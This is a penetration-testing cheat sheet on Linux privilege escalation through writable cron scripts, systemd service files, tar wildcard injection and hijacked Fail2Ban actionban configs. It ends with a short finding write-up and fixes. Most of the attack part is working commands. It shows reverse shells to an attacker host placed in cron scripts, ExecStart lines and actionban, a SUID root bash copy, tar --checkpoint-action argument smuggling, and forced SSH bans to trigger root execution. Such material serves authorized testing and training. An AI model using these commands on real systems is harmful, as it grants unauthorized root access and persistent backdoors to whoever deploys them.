🛡️ Methodology Checklist
- Enumerate cron jobs:
cat /etc/crontab; ls /etc/cron.*; crontab -l - Find writable scripts called by root cron tasks
- Look for relative paths in crontab (PATH hijack opportunity)
- Running processes as root:
ps aux | grep root - Check service binary and config file permissions
- Systemd timers:
systemctl list-timers --all - Mine
/var/log/syslogfor recurring root-run patterns
🎯 Operational Context
Use when: Writable cron job scripts, service binary paths, or environment PATH variables in cron — hijack execution flow to run commands as root.
Think Dumber First: cat /etc/crontab and ls /etc/cron.d/ first. Find cron scripts running as root. Check if the script or any file it calls is world-writable. Then pspy64 to see all cron jobs including those not in /etc/crontab.
Skip when: All cron scripts and their dependencies are root-owned and not world-writable — move to other vectors.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
cat /etc/crontab; ls /etc/cron.d/; cat /var/spool/cron/crontabs/root | Enumerate all cron tabs |
./pspy64 -pf -i 1000 | Monitor processes real-time — find root crons without read access |
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null | Find world-writable files |
ls -la [SCRIPT]; cat [SCRIPT] | Check permissions + content of discovered cron script |
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" >> [WRITABLE_SCRIPT] | Append reverse shell to writable cron script |
nc -lnvp [LPORT] | Catch cron-triggered root shell (wait up to 5 min) |
find / -name "*.service" 2>/dev/null | xargs grep -l "ExecStart" | Find systemd service files |
systemctl list-timers --all | Show all systemd timers (alternative to cron) |
ps aux | grep root | Processes running as root — look for scripts/custom binaries |
ss -lntp; netstat -lntp | Services listening on localhost (may expose internal services) |
ls -la /etc/fail2ban/action.d/ | Check writable fail2ban action configs (root runs actionban on ban) |
🔬 Deep Dive & Workflow
Cron Job Exploitation Flow
1. Read cron tabs:
cat /etc/crontab
ls -la /etc/cron.{d,hourly,daily,weekly,monthly}/
cat /var/spool/cron/crontabs/root (often requires root)
2. If can't read crontab → pspy64
./pspy64 -pf -i 1000
Watch for: UID=0 executing scripts in writable locations
3. Check script permissions:
ls -la [SCRIPT_PATH]
→ If -rwxrwxrwx or -rwxrwxr-x with your user as group → writable
4. If directory writable but script not:
mv [SCRIPT] [SCRIPT].bak
cp /bin/bash [SCRIPT] # or write reverse shell
chmod +x [SCRIPT]
5. Append payload (preserves original function):
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" >> [SCRIPT]
6. Start listener → wait for trigger interval
Critical: Always use >> not > to avoid breaking original script (alerts admins).
Always use absolute paths in payloads — cron runs with minimal PATH.
Tar Wildcard Injection
# Cron job: cd /var/backups && tar -czf backup.tar.gz *
# Wildcard * expands to filenames in current dir
# Create "flag" files that tar interprets as arguments:
echo "" > /var/backups/--checkpoint=1
echo "" > "/var/backups/--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" > /var/backups/shell.sh
chmod +x /var/backups/shell.sh
# → tar expands * → sees --checkpoint and --checkpoint-action → executes shell.sh as rootWritable Service Files
# Find writable systemd service
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null
# Edit ExecStart in service file
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1'
# Reload and restart
systemctl daemon-reload && systemctl restart [SERVICE]Fail2Ban Action Hijack (actionban as root)
Fail2Ban runs as root and executes the actionban command from an action config whenever a jail bans a source. If you can write to /etc/fail2ban/action.d/ (commonly via a service/group membership) or to jail.local, AND you can restart fail2ban (sudo restart, or it auto-restarts), you control a root-executed command.
# Precondition checks
ls -la /etc/fail2ban/action.d/ # writable action configs?
ls -la /etc/fail2ban/jail.local # writable jail config?
sudo -l 2>/dev/null | grep -i fail2ban # can you restart the service?
# Find the action used by the active jail (e.g. iptables-multiport)
grep -R "action" /etc/fail2ban/jail.{conf,local} 2>/dev/null
# Overwrite the actionban line in the active action config
# Example payload: copy a SUID shell (also: reverse shell, chmod +s /bin/bash)
sed -i 's@^actionban = .*@actionban = cp /bin/bash /tmp/rootbash \&\& chmod +s /tmp/rootbash@' \
/etc/fail2ban/action.d/iptables-multiport.conf
# Alt payload: actionban = bash -c 'bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1'
# Alt payload: actionban = chmod +s /bin/bash
# Reload/restart so the modified action loads
sudo systemctl restart fail2ban # or: sudo fail2ban-client reload
# TRIGGER the ban so actionban fires AS ROOT — generate enough failed SSH
# logins from a throwaway source to cross maxretry and get banned:
for i in $(seq 1 10); do ssh nonexistent@[TARGET] 2>/dev/null; done
# (or hydra/medusa burst against SSH from a disposable host)
# Once banned, actionban executed as root:
/tmp/rootbash -p # -p preserves the SUID euid → rootThe sed above, done by hand (understand what you’re changing). The payload edit is the crux — do it in an editor first. Open the action config the active jail uses (the banaction in jail.conf/jail.local, commonly iptables-multiport):
sudo nano /etc/fail2ban/action.d/iptables-multiport.confFind the [Definition] section and the line that runs on a ban:
[Definition]
...
actionban = <iptables command that blocks the IP>Replace the value (everything after actionban =) with your command — it runs as root verbatim when a ban fires:
actionban = cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbashThat’s exactly what sed -i 's@^actionban = .*@actionban = <payload>@' automates: anchor the actionban = line, swap its value. Knowing the file (action.d/<banaction>.conf), the section ([Definition]), and the key (actionban) is what lets you find and fix it when the jail uses a different action (ufw, firewallcmd-ipset, a custom one) than the example.
Gotcha: restarting/reloading fail2ban does NOT itself run actionban — only an actual ban does. You must generate real failed auth attempts (or otherwise satisfy the jail filter) so the ban fires; just reloading the config does nothing.
Cleanup care: use a throwaway/disposable source to trigger the ban so you don’t lock out a real address you need.
Exposed Local Services
# Find services on localhost only
ss -lntp | grep 127.0.0.1
# → might find internal DB, Redis, Memcached, etc. with no auth
# → forward port: ssh -L 3306:127.0.0.1:3306 [USER]@[TARGET] → connect locallypspy Usage
# Download to target
wget http://[LHOST]/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
# Run and watch
./pspy64 -pf -i 1000
# UID=0 = root. Look for periodic scripts, especially in /tmp, /home, /var
# -pf: print file system events too
# -i 1000: scan every 1 second🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| No writable cron scripts | All cron paths root-owned | Check script’s working directory: if cwd is writable and script uses relative paths, PATH hijack possible |
| Cron job not in /etc/crontab | User crontabs or hidden jobs | Run pspy: ./pspy64 -p; watches all process spawns including cron |
| PATH hijacking in cron | PATH not set in crontab | If crontab doesn’t set PATH, /usr/local/bin:/usr/bin:/bin is default; writable earlier path = hijack |
| pspy not available | No internet or restricted | Compile locally: GOOS=linux go build pspy.go; or use watch -n 1 'ps aux' for manual monitoring |
| Cron executes but no shell callback | Cron env lacks network | Cron has minimal env; write result to file: * * * * * root /bin/bash -c 'id > /tmp/pwned' |
| Modified fail2ban action never fires | Restart alone doesn’t run actionban | Restart only reloads config — you must trigger an actual ban (e.g. burst of failed SSH logins from a throwaway source) for actionban to execute as root |
📝 Reporting Trigger
Finding Title: Writable Cron Script Enables Privilege Escalation Impact: World-writable cron script executed as root allows injection of arbitrary commands into a scheduled task, achieving root code execution on the next scheduled run without requiring any interaction. Root Cause: Cron job configuration sets script permissions too permissively. No monitoring of cron script content or integrity. Recommendation: Ensure all cron scripts are owned by root and not world-writable. Implement file integrity monitoring for all cron job scripts. Audit cron configurations against least-privilege principle. Consider using systemd timers with explicit user context instead of cron.